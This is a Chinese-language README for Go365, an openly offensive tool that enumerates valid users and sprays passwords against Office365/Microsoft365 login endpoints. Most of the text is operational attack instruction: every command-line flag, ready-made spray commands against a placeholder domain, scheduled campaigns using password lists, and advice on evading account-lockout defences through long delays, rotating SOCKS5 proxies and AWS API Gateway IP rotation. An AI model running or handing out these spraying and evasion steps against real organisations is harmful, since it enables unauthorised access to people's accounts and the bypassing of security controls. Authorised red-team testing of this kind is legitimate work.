在使用Go365之前,请通读本README!
Go365是一款用于对使用Office365(现/即将更名为Microsoft365)的组织执行用户枚举*和密码猜测攻击的工具。Go365使用了一个位于login.microsoftonline.com上的独特SOAP API端点,大多数其他工具不使用该端点。当使用电子邮件地址和密码进行查询时,该端点会返回一个Azure AD身份验证和授权码。Go365会处理该代码,并将结果显示在屏幕上或输出到文件中。
* 用户枚举是与密码猜测尝试一起执行的。因此,没有专门的标志或功能来仅执行用户枚举。相反,先进行第一次密码猜测攻击,然后解析结果以获取有效用户。
下载适用于您操作系统的预编译二进制文件 HERE。
下载源代码并本地编译。
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
版本: 2.0
作者: paveway3, h0useh3ad, S4R1N, EatonChips
使用方法:
-h 显示此帮助信息
必选 - 端点:
-endpoint [rst or graph] 指定要使用的端点
: (-endpoint rst) *经典Go365!* login.microsoftonline.com/rst2.srf。SOAP XML请求,XML响应
: (-endpoint graph) login.microsoft.com/common/oauth2/token。HTTP POST请求,JSON响应
必选 - 用户名和密码:
-u <string> 要测试的单个用户名
: 带或不带"@domain.com"的用户名
: 还必须提供-d标志以指定域
: (-u [email protected])
-ul <file> 要使用的用户名列表(覆盖-u)
: 文件每行应包含一个用户名
: 用户名可以包含"@domain.com"
: 如果未指定域,则使用 -d 指定的域
: (-ul ./usernamelist.txt)
-p <string> 尝试使用的密码
: 如果包含特殊字符,请用单引号括起来
: (-p password123) 或 (-p 'p@s$w0|2d')
-pl <file> 要使用的密码列表(覆盖-p)
: 文件每行应包含一个密码
: 可以使用 -delay 标志在每组尝试之间添加暂停
: (-pl ./passwordlist.txt)
-up <file> 要使用的用户密码列表(覆盖以上所有选项)
: 每行一个用户名和密码,用":"分隔
: 注意避免重复用户名!
: (-up ./userpasslist.txt)
必选/可选 - 域:
-d <string> 要测试的域
: 如果用户名或用户名列表不包含"@targetcompany.com",则使用此项
: (-d targetcompany.com)
可选:
-w <int> 尝试之间的等待时间(秒)。
: 默认值:1秒。建议5秒。
: (-w 10)
-delay <int> 使用密码列表时,每次喷洒之间的延迟(秒)。
: 默认值:建议60分钟(3600秒)。
: (-delay 7200)
-o <string> 输出文件写入路径
: 如果文件存在则追加,否则创建文件
: (-o ./Go365output.out)
-proxy <string> 单个SOCKS5代理服务器
: IP地址和端口,用":"分隔
: SOCKS5代理
: (-proxy 127.0.0.1:1080)
-proxyfile <string> 包含SOCKS5代理服务器列表的文件
: 每行一个IP地址和端口,用":"分隔
: 每次请求前随机选择一个代理服务器
: (-proxyfile ./proxyfile.txt)
-url <string> 发送请求的端点
: Amazon API Gateway 'Invoke URL'
: 强烈建议使用此选项。谷歌搜索,或
: 查看:https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug 调试模式。
: 打印xml响应
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
您甚至可以使用 -pl 和 -delay 标志来安排整个密码猜测活动 :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*高级提示:如果您收到大量“账户已锁定”响应,则可能需要使用代理或AWS Gateway。
高级提示: 您可能实际上并没有锁定账户。
在向目标域发送一定数量的查询后,结果可能会开始报告账户已被锁定。
一旦触发此防御,用户枚举将变得不可靠,因为针对有效和无效用户的请求都会随机报告其账户已被锁定。
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...
这是由在特定时间内针对目标域的有效用户查询次数触发的防御机制。尝试次数和时间段取决于目标域,因为目标组织可以自定义阈值。
防御机制基于时间和IP地址。Go365提供了在请求之间包含等待时间的选项,以及代理选项以分发请求来源。要规避目标域上的防御机制,请使用较长的等待时间和多个代理服务器。
建议至少等待15秒。 -w 15
如果仍然收到“账户已锁定”响应,请开始代理您的请求。代理选项仅在使用SSH SOCKS5动态代理(ssh -D <port> user@proxyserver)时测试过。
在DO、AWS或Vultr等平台上创建一堆SOCKS5代理,然后创建一个如下所示的文件:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
该工具将随机遍历提供的代理服务器,并在请求之间等待指定的时间。
-w 15 -proxyfile ./proxies.txt
此外,可以指定端点URL,以便此工具与Amazon API Gateway进行接口。设置一个指向https://login.microsoftonline.com/rst2.srf端点的网关,然后将-url参数设置为提供的Invoke URL。您的IP应该在每次请求时轮换。
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login